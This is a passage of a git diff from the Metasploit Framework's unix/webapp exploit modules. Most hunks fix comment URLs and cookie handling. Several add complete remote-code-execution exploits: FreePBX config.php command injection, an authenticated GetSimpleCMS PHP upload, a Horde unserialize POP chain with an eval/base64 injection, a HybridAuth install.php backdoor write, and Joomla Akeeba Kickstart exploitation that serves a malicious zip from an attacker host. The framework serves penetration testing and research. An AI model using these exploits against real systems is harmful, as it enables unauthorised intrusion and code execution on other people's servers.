resize_image(...) - NOTE: Use of the ImageMagick library is a non-default option. However, a user can - specify its use at installation time. + NOTE: Use of the ImageMagick library is a non-default option. However, a + user can specify its use at installation time. }, 'Author' => [ diff --git a/modules/exploits/unix/webapp/datalife_preview_exec.rb b/modules/exploits/unix/webapp/datalife_preview_exec.rb index c353fbda93..10291ae9a6 100644 --- a/modules/exploits/unix/webapp/datalife_preview_exec.rb +++ b/modules/exploits/unix/webapp/datalife_preview_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/dogfood_spell_exec.rb b/modules/exploits/unix/webapp/dogfood_spell_exec.rb index 4b737538c0..de725fce9d 100644 --- a/modules/exploits/unix/webapp/dogfood_spell_exec.rb +++ b/modules/exploits/unix/webapp/dogfood_spell_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/egallery_upload_exec.rb b/modules/exploits/unix/webapp/egallery_upload_exec.rb index da7be29e11..75e2c1b2b6 100644 --- a/modules/exploits/unix/webapp/egallery_upload_exec.rb +++ b/modules/exploits/unix/webapp/egallery_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/flashchat_upload_exec.rb b/modules/exploits/unix/webapp/flashchat_upload_exec.rb index d0cd58604a..b4cb968c14 100644 --- a/modules/exploits/unix/webapp/flashchat_upload_exec.rb +++ b/modules/exploits/unix/webapp/flashchat_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/foswiki_maketext.rb b/modules/exploits/unix/webapp/foswiki_maketext.rb index a5b410086f..95c28d2a60 100644 --- a/modules/exploits/unix/webapp/foswiki_maketext.rb +++ b/modules/exploits/unix/webapp/foswiki_maketext.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if not res or res.code != 302 or res.headers['Set-Cookie'] !~ /FOSWIKISID=([0-9a-f]*)/ + if not res or res.code != 302 or res.get_cookies !~ /FOSWIKISID=([0-9a-f]*)/ vprint_status "#{res.code}\n#{res.body}" return nil end @@ -102,7 +102,7 @@ class Metasploit3 < Msf::Exploit::Remote vprint_good("validation_key found: #{validation_key}") if session.empty? - if res.headers['Set-Cookie'] =~ /FOSWIKISID=([0-9a-f]*)/ + if res.get_cookies =~ /FOSWIKISID=([0-9a-f]*)/ session = $1 else vprint_error("Error using anonymous access") @@ -110,7 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote end end - if res.headers['Set-Cookie'] =~ /FOSWIKISTRIKEONE=([0-9a-f]*)/ + if res.get_cookies =~ /FOSWIKISTRIKEONE=([0-9a-f]*)/ strike_one = $1 else vprint_error("Error getting the FOSWIKISTRIKEONE value") diff --git a/modules/exploits/unix/webapp/freepbx_config_exec.rb b/modules/exploits/unix/webapp/freepbx_config_exec.rb new file mode 100644 index 0000000000..58afa2be55 --- /dev/null +++ b/modules/exploits/unix/webapp/freepbx_config_exec.rb @@ -0,0 +1,103 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "FreePBX config.php Remote Code Execution", + 'Description' => %q{ + This module exploits a vulnerability found in FreePBX version 2.9, 2.10, and 2.11. + It's possible to inject arbitrary PHP functions and commands in the "/admin/config.php" + parameters "function" and "args". + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'i-Hmx', # Vulnerability discovery + '0x00string', # PoC + 'xistence <xistence[at]0x90.nl>' # Metasploit module + ], + 'References' => + [ + ['CVE', '2014-1903'], + ['OSVDB', '103240'], + ['EDB', '32214'], + ['URL', 'http://issues.freepbx.org/browse/FREEPBX-7123'] + ], + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => + [ + ['FreePBX', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Mar 21 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to the FreePBX installation', '/']) + ], self.class) + + register_advanced_options( + [ + OptString.new('PHPFUNC', [true, 'The PHP execution function to use', 'passthru']) + ], self.class) + end + + + def check + vprint_status("#{peer} - Trying to detect installed version") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "admin", "CHANGES") + }) + + if res and res.code == 200 and res.body =~ /^(.*)$/ + version = $1 + else + return Exploit::CheckCode::Unknown + end + + vprint_status("#{peer} - Version #{version} detected") + + if version =~ /2\.(9|10|11)\.0/ + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + end + + def exploit + rand_data = rand_text_alpha_lower(rand(10) + 5) + + print_status("#{peer} - Sending payload") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "admin", "config.php"), + 'vars_get' => { + "display" => rand_data, + "handler" => "api", + "function" => datastore['PHPFUNC'], + "args" => payload.encoded + } + }) + + # If we don't get a 200 when we request our malicious payload, we suspect + # we don't have a shell, either. + if res and res.code != 200 + print_error("#{peer} - Unexpected response, exploit probably failed!") + end + + end + +end diff --git a/modules/exploits/unix/webapp/generic_exec.rb b/modules/exploits/unix/webapp/generic_exec.rb index b9f242694b..137cabbe9c 100644 --- a/modules/exploits/unix/webapp/generic_exec.rb +++ b/modules/exploits/unix/webapp/generic_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb b/modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb new file mode 100644 index 0000000000..5c2569966f --- /dev/null +++ b/modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb @@ -0,0 +1,140 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'GetSimpleCMS PHP File Upload Vulnerability', + 'Description' => %q{ + This module exploits a file upload vulnerability in GetSimple CMS. By abusing the + upload.php file, a malicious authenticated user can upload an arbitrary file, + including PHP code, which results in arbitrary code execution. + }, + 'Author' => + [ + 'Ahmed Elhady Mohamed' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['EDB', '25405'], + ['OSVDB', '93034'] + ], + 'Payload' => + { + 'BadChars' => "\x00", + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['Generic (PHP Payload)', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 04 2014' + )) + + register_options([ + OptString.new('TARGETURI', [true, 'The full URI path to GetSimplecms', '/GetSimpleCMS']), + OptString.new('USERNAME', [true, 'The username that will be used for authentication process']), + OptString.new('PASSWORD', [true, 'The right password for the provided username']) + ], self.class) + end + + def send_request_auth + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path.to_s, "admin", "index.php"), + 'vars_post' => { + 'userid' => "#{datastore['USERNAME']}", + 'pwd' => "#{datastore['PASSWORD']}", + 'submitted' => 'Login' + } + }) + + res + end + + def send_request_upload(payload_name, cookie_http_header) + data = Rex::MIME::Message.new + data.add_part("<?php #{payload.encoded} ?>", 'application/x-httpd-php', nil, "form-data; name=\"file[]\"; filename=\"#{payload_name}\"") + data.add_part("Upload", nil, nil, "form-data; name=\"submit\"") + + data_post = data.to_s + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path.to_s, "admin", "upload.php"), + 'vars_get' => { 'path' =>'' }, + 'cookie' => cookie_http_header, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data_post + }) + + res + end + + def check + res = send_request_cgi({'uri' => normalize_uri(target_uri.path.to_s, 'admin', 'index.php')}) + + if res && res.code == 200 && res.body && res.body.to_s =~ /GetSimple CMS.*Version\s*([0-9\.]+)/ + version = $1 + else + return Exploit::CheckCode::Unknown + end + + print_status("#{peer} - Version #{version} found") + + if Gem::Version.new(version) <= Gem::Version.new('3.1.2') + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Safe + end + + def exploit + print_status("#{peer} - Authenticating...") + res = send_request_auth + + if res && res.code == 302 + print_status("#{peer} - The authentication process is done successfully!") + else + fail_with(Failure::NoAccess, "#{peer} - Authentication failed") + end + + print_status("#{peer} - Extracting Cookies Information...") + cookie = res.get_cookies + if cookie.blank? + fail_with(Failure::NoAccess, "#{peer} - Authentication failed") + end + + print_status("#{peer} - Uploading payload...") + payload_name = rand_text_alpha_lower(rand(10) + 5) + '.pht' + res = send_request_upload(payload_name, cookie) + + if res && res.code == 200 && res.body && res.body.to_s =~ /Success! File location.*>.*#{target_uri.path.to_s}(.*)#{payload_name}</ + upload_path = $1 + print_good("#{peer} - File uploaded to #{upload_path}") + register_file_for_cleanup(payload_name) + else + fail_with(Failure::Unknown, "#{peer} - Upload failed") + end + + print_status("#{peer} - Executing payload...") + send_request_raw({ + 'uri' => normalize_uri(target_uri.path.to_s, upload_path, payload_name), + 'method' => 'GET' + }, 5) + end + +end diff --git a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb index 16e14a3c94..b1d5b70f13 100644 --- a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb +++ b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/graphite_pickle_exec.rb b/modules/exploits/unix/webapp/graphite_pickle_exec.rb index f377adb6f7..29ebbb1775 100644 --- a/modules/exploits/unix/webapp/graphite_pickle_exec.rb +++ b/modules/exploits/unix/webapp/graphite_pickle_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/guestbook_ssi_exec.rb b/modules/exploits/unix/webapp/guestbook_ssi_exec.rb index 42959057a9..48f3fd180c 100644 --- a/modules/exploits/unix/webapp/guestbook_ssi_exec.rb +++ b/modules/exploits/unix/webapp/guestbook_ssi_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/hastymail_exec.rb b/modules/exploits/unix/webapp/hastymail_exec.rb index ae6cfbfe69..13ce643e2e 100644 --- a/modules/exploits/unix/webapp/hastymail_exec.rb +++ b/modules/exploits/unix/webapp/hastymail_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote }) if res and res.code == 303 - @session_id = res["Set-Cookie"] + @session_id = res.get_cookies print_good "#{peer} - Authentication successful" end end diff --git a/modules/exploits/unix/webapp/havalite_upload_exec.rb b/modules/exploits/unix/webapp/havalite_upload_exec.rb index 1d13b0c83f..311d36732b 100644 --- a/modules/exploits/unix/webapp/havalite_upload_exec.rb +++ b/modules/exploits/unix/webapp/havalite_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -130,4 +130,4 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Executing #{fname}...") exec(base, fname) end -end \ No newline at end of file +end diff --git a/modules/exploits/unix/webapp/horde_unserialize_exec.rb b/modules/exploits/unix/webapp/horde_unserialize_exec.rb new file mode 100644 index 0000000000..92437ae125 --- /dev/null +++ b/modules/exploits/unix/webapp/horde_unserialize_exec.rb @@ -0,0 +1,144 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Horde Framework Unserialize PHP Code Execution', + 'Description' => %q{ + This module exploits a php unserialize() vulnerability in Horde <= 5.1.1 which could be + abused to allow unauthenticated users to execute arbitrary code with the permissions of + the web server. The dangerous unserialize() exists in the 'lib/Horde/Variables.php' file. + The exploit abuses the __destruct() method from the Horde_Kolab_Server_Decorator_Clean + class to reach a dangerous call_user_func() call in the Horde_Prefs class. + }, + 'Author' => + [ + 'EgiX', # Exploitation technique and Vulnerability discovery (originally reported by the vendor) + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2014-1691' ], + [ 'URL', 'http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection' ], + [ 'URL', 'https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737149' ], + [ 'URL', 'https://github.com/horde/horde/commit/da6afc7e9f4e290f782eca9dbca794f772caccb3' ] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Payload' => + { + 'DisableNops' => true + }, + 'Targets' => [ ['Horde 5', { }], ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 27 2013' + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, "The base path to Horde", "/horde/"]) + ], self.class) + end + + def check + flag = rand_text_alpha(rand(10)+20) + res = send_request_exploit("print #{flag};die;") + if res and res.body and res.body.to_s =~ /#{flag}/ + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + end + + def exploit + print_status("#{peer} - Testing injection...") + unless check == Exploit::CheckCode::Vulnerable + fail_with(Failure::NotVulnerable, "#{peer} - Target isn't vulnerable, exiting...") + end + + print_status("#{peer} - Exploiting the unserialize()...") + send_request_exploit(payload.encoded) + end + + def send_request_exploit(p) + php_injection = "eval(base64_decode($_SERVER[HTTP_CMD]));die();" + + payload_serialized = "O:34:\"Horde_Kolab_Server_Decorator_Clean\":2:{s:43:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_server\";" + payload_serialized << "O:20:\"Horde_Prefs_Identity\":2:{s:9:\"\x00*\x00_prefs\";O:11:\"Horde_Prefs\":2:{s:8:\"\x00*\x00_opts\";a:1:{s:12:\"sizecallback\";" + payload_serialized << "a:2:{i:0;O:12:\"Horde_Config\":1:{s:13:\"\x00*\x00_oldConfig\";s:#{php_injection.length}:\"#{php_injection}\";}i:1;s:13:\"readXMLConfig\";}}" + payload_serialized << "s:10:\"\x00*\x00_scopes\";a:1:{s:5:\"horde\";O:17:\"Horde_Prefs_Scope\":1:{s:9:\"\x00*\x00_prefs\";a:1:{i:0;i:1;}}}}" + payload_serialized << "s:13:\"\x00*\x00_prefnames\";a:1:{s:10:\"identities\";i:0;}}s:42:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_added\";a:1:{i:0;i:1;}}" + + send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path.to_s, "login.php"), + 'method' => 'POST', + 'vars_post' => { + '_formvars' => payload_serialized + }, + 'headers' => { + 'Cmd' => Rex::Text.encode_base64(p) + } + }) + end +end + +=begin + +PHP chain by EgiX: http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection + +class Horde_Config +{ + protected $_oldConfig = "phpinfo();die;"; +} + +class Horde_Prefs_Scope +{ + protected $_prefs = array(1); +} + +class Horde_Prefs +{ + protected $_opts, $_scopes; + + function __construct() + { + $this->_opts['sizecallback'] = array(new Horde_Config, 'readXMLConfig'); + $this->_scopes['horde'] = new Horde_Prefs_Scope; + } +} + +class Horde_Prefs_Identity +{ + protected $_prefs, $_prefnames; + + function __construct() + { + $this->_prefs = new Horde_Prefs; + $this->_prefnames['identities'] = 0; + } +} + +class Horde_Kolab_Server_Decorator_Clean +{ + private $_server, $_added = array(1); + + function __construct() + { + $this->_server = new Horde_Prefs_Identity; + } +} + +$popchain = serialize(new Horde_Kolab_Server_Decorator_Clean); + +=end diff --git a/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb b/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb new file mode 100644 index 0000000000..705428fdb2 --- /dev/null +++ b/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb @@ -0,0 +1,138 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking # application config.php is overwritten + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HybridAuth install.php PHP Code Execution', + 'Description' => %q{ + This module exploits a PHP code execution vulnerability in + HybridAuth versions 2.0.9 to 2.2.2. The install file 'install.php' + is not removed after installation allowing unauthenticated users to + write PHP code to the application configuration file 'config.php'. + + Note: This exploit will overwrite the application configuration file + rendering the application unusable. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Pichaya Morimoto', # Discovery and PoC + 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit + ], + 'References' => + [ + ['EDB', '34273'], + ['OSVDB','109838'] + ], + 'Arch' => ARCH_PHP, + 'Platform' => 'php', + 'Targets' => + [ + # Tested: + # HybridAuth versions 2.0.9, 2.0.10, 2.0.11, 2.1.2, 2.2.2 on Apache/2.2.14 (Ubuntu) + ['HybridAuth version 2.0.9 to 2.2.2 (PHP Payload)', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Aug 4 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to HybridAuth library', '/hybridauth/']) + ], self.class) + end + + + # + # Check: + # * install.php exists + # * config.php is writable + # * HybridAuth version is 2.0.9 to 2.0.11, 2.1.x, or 2.2.0 to 2.2.2 + # + def check + res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'install.php') + if !res + vprint_error "#{peer} - Connection failed" + return Exploit::CheckCode::Unknown + elsif res.code == 404 + vprint_error "#{peer} - Could not find install.php" + elsif res.body =~ />([^<]+)<\/span> must be <b >WRITABLE</ + vprint_error "#{peer} - #{$1} is not writable" + elsif res.body =~ />HybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer</ + version = res.body.scan(/>HybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer</).first.first + vprint_status "#{peer} - Found version: #{version}" + if version =~ /^2\.(0\.(9|10|11)|1\.[\d]+|2\.[012])/ + return Exploit::CheckCode::Vulnerable + else + vprint_error "#{peer} - HybridAuth version #{version} is not vulnerable" + end + end + Exploit::CheckCode::Safe + end + + # + # Exploit + # + def exploit + # check vuln + if check != Exploit::CheckCode::Vulnerable + fail_with Exploit::Failure::NotVulnerable, "#{peer} - Target is not vulnerable" + end + + # write backdoor + print_status "#{peer} - Writing backdoor to config.php" + payload_param = rand(1000) + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'install.php'), + 'data' => "OPENID_ADAPTER_STATUS=eval(base64_decode($_POST[#{payload_param}])))));/*" + ) + if !res + fail_with Failure::Unknown, "#{peer} - Connection failed" + elsif res.body =~ /Installation completed/ + print_good "#{peer} - Wrote backdoor successfully" + else + fail_with Failure::UnexpectedReply, "#{peer} - Coud not write backdoor to 'config.php'" + end + + # execute payload + code = Rex::Text.encode_base64(payload.encoded) + print_status "#{peer} - Sending payload to config.php backdoor (#{code.length} bytes)" + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'config.php'), + 'data' => "#{payload_param}=#{code}" + }, 5) + if !res + print_warning "#{peer} - No response" + elsif res.code == 404 + fail_with Failure::NotFound, "#{peer} - Could not find config.php" + elsif res.code == 200 || res.code == 500 + print_good "#{peer} - Sent payload successfully" + end + + # remove backdoor + print_status "#{peer} - Removing backdoor from config.php" + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'install.php'), + 'data' => 'OPENID_ADAPTER_STATUS=' + ) + if !res + print_error "#{peer} - Connection failed" + elsif res.body =~ /Installation completed/ + print_good "#{peer} - Removed backdoor successfully" + else + print_warning "#{peer} - Could not remove payload from config.php" + end + end +end diff --git a/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb b/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb index d3d21d0547..8544567488 100644 --- a/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'GET' }) - if res and res.code == 200 and res.headers['Set-Cookie'] =~ /(.+)session/ + if res and res.code == 200 and res.get_cookies =~ /(.+)session/ print_status("#{peer} - Cookie prefix #{$1} found") cookie_prefix = $1 end diff --git a/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb b/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb new file mode 100644 index 0000000000..7d7ba20d87 --- /dev/null +++ b/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb @@ -0,0 +1,149 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/zip' +require 'json' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "Joomla Akeeba Kickstart Unserialize Remote Code Execution", + 'Description' => %q{ + This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and earlier + 3.x versions and 3.3.0 through 3.3.4 versions. The vulnerability affects the Akeeba + component, which is responsible for Joomla! updates. Nevertheless it is worth to note + that this vulnerability is only exploitable during the update of the Joomla! CMS. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Johannes Dahse', # Vulnerability discovery + 'us3r777 <us3r777[at]n0b0.so>' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2014-7228' ], + [ 'URL', 'http://developer.joomla.org/security/595-20140903-core-remote-file-inclusion.html'], + [ 'URL', 'https://www.akeebabackup.com/home/news/1605-security-update-sep-2014.html'], + [ 'URL', 'http://websec.wordpress.com/2014/10/05/joomla-3-3-4-akeeba-kickstart-remote-code-execution-cve-2014-7228/'], + ], + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Joomla < 2.5.25 / Joomla 3.x < 3.2.5 / Joomla 3.3.0 < 3.3.4', {} ] + ], + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'Privileged' => false, + 'DisclosureDate' => "Sep 29 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']), + OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 5]) + ], self.class) + end + + def check + res = send_request_cgi( + 'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restoration.php') + ) + + if res && res.code == 200 + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Safe + end + + def primer + srv_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(3))}.zip" + + php_serialized_akfactory = 'O:9:"AKFactory":1:{s:18:"' + "\x00" + 'AKFactory' + "\x00" + 'varlist";a:2:{s:27:"kickstart.security.password";s:0:"";s:26:"kickstart.setup.sourcefile";s:' + srv_uri.length.to_s + ':"' + srv_uri + '";}}' + php_filename = rand_text_alpha(8 + rand(8)) + '.php' + + # Create the zip archive + print_status("Creating archive with file #{php_filename}") + zip_file = Rex::Zip::Archive.new + zip_file.add_file(php_filename, payload.encoded) + @zip = zip_file.pack + + # First step: call restore to run _prepare() and get an initialized AKFactory + print_status("#{peer} - Sending PHP serialized object...") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'), + 'vars_get' => { + 'task' => 'stepRestore', + 'factory' => Rex::Text.encode_base64(php_serialized_akfactory) + } + }) + + unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/ + print_status("#{res.code}\n#{res.body}") + fail_with(Failure::Unknown, "#{peer} - Unexpected response") + end + + # Second step: modify the currentPartNumber within the returned serialized AKFactory + json = /###(.*)###/.match(res.body)[1] + begin + b64encoded_prepared_factory = JSON.parse(json)['factory'] + rescue JSON::ParserError + fail_with(Failure::Unknown, "#{peer} - Unexpected response, cannot parse JSON") + end + + prepared_factory = Rex::Text.decode_base64(b64encoded_prepared_factory) + modified_factory = prepared_factory.gsub('currentPartNumber";i:0', 'currentPartNumber";i:-1') + + print_status("#{peer} - Sending initialized and modified AKFactory...") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'), + 'vars_get' => { + 'task' => 'stepRestore', + 'factory' => Rex::Text.encode_base64(modified_factory) + } + }) + + unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/ + fail_with(Failure::Unknown, "#{peer} - Unexpected response") + end + + register_files_for_cleanup(php_filename) + + print_status("#{peer} - Executing payload...") + send_request_cgi({ + 'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', php_filename) + }, 2) + + end + + def exploit + begin + Timeout.timeout(datastore['HTTPDELAY']) { super } + rescue Timeout::Error + # When the server stops due to our timeout, this is raised + end + end + + # Handle incoming requests from the server + def on_request_uri(cli, request) + if @zip && request.uri =~ /\.zip$/ + print_status("Sending the ZIP archive...") + send_response(cli, @zip, { 'Content-Type' => 'application/zip' }) + return + end + + print_status("Sending not found...") + send_not_found(cli) + end + +end diff --git a/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb b/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb index 8be862ed3b..af1204f917 100644 --- a/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb +++ b/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index 9645358c82..cad27d9654 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -177,7 +177,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Checking Access to Media Component...") res = get_upload_form - if res and (res.code == 200 or res.code == 302) and res.headers['Set-Cookie'] and res.body =~ /You are not authorised to view this resource/ + if res and (res.code == 200 or res.code == 302) and !res.get_cookies.empty? and res.body =~ /You are not authorised to view this resource/ print_status("#{peer} - Authentication required... Proceeding...") if @username.empty? or @password.empty? @@ -196,7 +196,7 @@ class Metasploit3 < Msf::Exploit::Remote if not res or res.code != 303 fail_with(Failure::NoAccess, "#{peer} - Unable to Authenticate") end - elsif res and (res.code == 200 or res.code == 302) and res.headers['Set-Cookie'] and res.body =~ /<form action="(.*)" id="uploadForm"/ + elsif res and (res.code == 200 or res.code == 302) and !res.get_cookies.empty? and res.body =~ /<form action="(.*)" id="uploadForm"/ print_status("#{peer} - Authentication isn't required.... Proceeding...") @cookies = res.get_cookies.sub(/;$/, "") else diff --git a/modules/exploits/unix/webapp/joomla_tinybrowser.rb b/modules/exploits/unix/webapp/joomla_tinybrowser.rb index a3006ed24e..5286bf927d 100644 --- a/modules/exploits/unix/webapp/joomla_tinybrowser.rb +++ b/modules/exploits/unix/webapp/joomla_tinybrowser.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/kimai_sqli.rb b/modules/exploits/unix/webapp/kimai_sqli.rb index 5a92be4d6e..b088c8e86f 100644 --- a/modules/exploits/unix/webapp/kimai_sqli.rb +++ b/modules/exploits/unix/webapp/kimai_sqli.rb @@ -1,5 +1,5 @@ 